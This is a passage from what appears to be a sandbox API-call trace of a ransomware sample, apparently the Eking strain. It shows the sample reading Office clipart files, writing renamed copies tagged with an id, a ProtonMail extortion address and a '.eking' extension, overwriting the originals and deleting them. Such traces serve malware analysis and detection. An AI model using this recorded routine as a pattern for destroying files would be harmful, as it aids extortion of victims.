lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x687c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x687c, lpOverlapped=0x0) returned 1 [0192.484] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.489] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.491] CloseHandle (hObject=0x1e8) returned 1 [0192.492] CloseHandle (hObject=0x1b8) returned 1 [0192.493] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0192.495] SetEvent (hEvent=0x174) returned 1 [0192.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.496] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4924) returned 1 [0192.496] CloseHandle (hObject=0x1b8) returned 1 [0192.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0192.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0192.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.498] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.498] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.499] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x133c, lpOverlapped=0x0) returned 1 [0192.501] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1340, lpOverlapped=0x0) returned 1 [0192.503] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.503] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.503] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.503] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x133c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x133c, lpOverlapped=0x0) returned 1 [0192.506] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.510] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.513] CloseHandle (hObject=0x1b8) returned 1 [0192.513] CloseHandle (hObject=0x1e8) returned 1 [0192.514] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0192.516] SetEvent (hEvent=0x174) returned 1 [0192.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.518] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4066) returned 1 [0192.518] CloseHandle (hObject=0x1e8) returned 1 [0192.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0192.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0192.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.519] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.519] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.520] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xfe2, lpOverlapped=0x0) returned 1 [0192.521] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xff0, lpOverlapped=0x0) returned 1 [0192.523] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.523] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.523] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.523] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xfe2, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xfe2, lpOverlapped=0x0) returned 1 [0192.526] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.529] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.532] CloseHandle (hObject=0x1e8) returned 1 [0192.533] CloseHandle (hObject=0x1b8) returned 1 [0192.534] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0192.535] SetEvent (hEvent=0x174) returned 1 [0192.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.536] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=24320) returned 1 [0192.536] CloseHandle (hObject=0x1b8) returned 1 [0192.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0192.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0192.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.537] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.537] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.548] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x5f00, lpOverlapped=0x0) returned 1 [0192.551] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x5f10, lpOverlapped=0x0) returned 1 [0192.553] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.554] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.554] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.554] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x5f00, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x5f00, lpOverlapped=0x0) returned 1 [0192.557] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.571] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.576] CloseHandle (hObject=0x1b8) returned 1 [0192.576] CloseHandle (hObject=0x1e8) returned 1 [0192.578] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0192.582] SetEvent (hEvent=0x174) returned 1 [0192.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.583] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=24778) returned 1 [0192.583] CloseHandle (hObject=0x1e8) returned 1 [0192.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0192.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0192.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.583] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.584] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.584] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x60ca, lpOverlapped=0x0) returned 1 [0192.589] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x60d0, lpOverlapped=0x0) returned 1 [0192.590] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.591] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.591] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.591] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x60ca, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x60ca, lpOverlapped=0x0) returned 1 [0192.596] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.600] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.603] CloseHandle (hObject=0x1e8) returned 1 [0192.603] CloseHandle (hObject=0x1b8) returned 1 [0192.609] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0192.611] SetEvent (hEvent=0x174) returned 1 [0192.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.612] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=47996) returned 1 [0192.612] CloseHandle (hObject=0x1b8) returned 1 [0192.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0192.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0192.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.613] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.613] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.613] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xbb7c, lpOverlapped=0x0) returned 1 [0192.616] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xbb80, lpOverlapped=0x0) returned 1 [0192.618] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.619] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.619] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.619] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xbb7c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xbb7c, lpOverlapped=0x0) returned 1 [0192.622] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.626] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.629] CloseHandle (hObject=0x1b8) returned 1 [0192.629] CloseHandle (hObject=0x1e8) returned 1 [0192.631] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0192.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.634] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=47786) returned 1 [0192.634] CloseHandle (hObject=0x1e8) returned 1 [0192.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0192.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0192.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.635] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.635] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.635] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xbaaa, lpOverlapped=0x0) returned 1 [0192.639] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xbab0, lpOverlapped=0x0) returned 1 [0192.641] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.641] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.641] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.641] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xbaaa, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xbaaa, lpOverlapped=0x0) returned 1 [0192.647] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.652] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.655] CloseHandle (hObject=0x1e8) returned 1 [0192.655] CloseHandle (hObject=0x1b8) returned 1 [0192.657] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 